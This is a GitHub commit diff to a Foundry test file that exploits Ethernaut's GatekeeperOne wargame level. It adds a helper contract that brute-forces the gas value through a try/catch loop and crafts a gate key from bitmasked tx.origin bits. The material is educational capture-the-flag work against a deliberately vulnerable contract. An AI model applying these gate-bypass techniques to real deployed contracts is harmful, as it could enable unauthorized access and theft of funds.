Skip to content

Commit

Permalink
feat: add another exploit method for ethernaut level 13
Browse files Browse the repository at this point in the history
  • Loading branch information
leovct committed Sep 19, 2024
1 parent 3a54e74 commit 6b8d355
Showing 1 changed file with 47 additions and 4 deletions.
51 changes: 47 additions & 4 deletions test/Ethernaut/GatekeeperOneExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -5,15 +5,15 @@ import '../../src/Ethernaut/GatekeeperOne.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';

contract Helper {
contract Helper1 {
constructor(address _target, bytes8 _gateKey) {
// How to find the right gas value to send to the contract?!
// Calculating exact gas usage for each operation proved challenging...
// I opted for a brute force approach with binary search (dichotomy) to find the value.
// Steps:
// 1. Modified GatekeeperOne's gate two to: `require(gasleft() >= 8191*10)`.
// 2. Started with base gas of 8191*10 (81,910) + 500 gas = 82,410. This succeeded.
// I started with a higher base becase I noticed that using 10k or 20k gas reverts with an OutOfGas error.
// I started with a higher base because I noticed that using 10k or 20k gas reverts with an OutOfGas error.
// 3. Tried base + 250 gas = 82,160. This failed.
// 4. Iteratively narrowed down:
// - base + 267 gas (82,177) failed
Expand All @@ -25,6 +25,23 @@ contract Helper {
}
}

contract Helper2 {
constructor(address _target, bytes8 _gateKey) {
GatekeeperOne target = GatekeeperOne(_target);
uint gasAmount = 8191 * 10;
bool success = false;
uint i;
while(!success) {
i++;
gasAmount -= 1;
try target.enter{gas: gasAmount}(_gateKey) returns (bool result) {
success = result;
} catch{}
}
console2.log('Exploit succeeded in %d tries', i);
}
}

contract GatekeeperOneExploit is Test {
GatekeeperOne target;
address deployer = makeAddr('deployer');
Expand All @@ -37,7 +54,33 @@ contract GatekeeperOneExploit is Test {
vm.stopPrank();
}

function testExploit() public {
function testExploit1() public {
address entrant = target.entrant();
console2.log('Current entrant: %s', entrant);
assertEq(entrant, address(0x0));

// Set exploiter to be the msg.sender.
// Note that we also pass a second argument to override cast's default tx.origin.
vm.startPrank(exploiter, exploiter);
bytes8 gateKey = bytes8(
// Set the first significant byte to 0x11 (a random value) and all the other bytes to 0.
// This enables to have:
// - uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))
// - uint32(uint64(_gateKey)) != uint64(_gateKey)
(uint64(0x1100000000000000) & 0xFF00000000000000) |
// Set the two last significant bytes to the two last significant bytes of tx.origin.
// This enables to have: uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
(uint64(uint16(uint160(address(exploiter)))) & 0x000000000000FFFF)
);
new Helper1(address(target), gateKey);
vm.stopPrank();

entrant = target.entrant();
console2.log('New entrant: %s', entrant);
assertEq(entrant, address(exploiter));
}

function testExploit2() public {
address entrant = target.entrant();
console2.log('Current entrant: %s', entrant);
assertEq(entrant, address(0x0));
Expand All @@ -55,7 +98,7 @@ contract GatekeeperOneExploit is Test {
// This enables to have: uint32(uint64(_gateKey)) == uint16(uint160(tx.origin))
(uint64(uint16(uint160(address(exploiter)))) & 0x000000000000FFFF)
);
new Helper(address(target), gateKey);
new Helper2(address(target), gateKey);
vm.stopPrank();

entrant = target.entrant();
Expand Down

0 comments on commit 6b8d355

Please sign in to comment.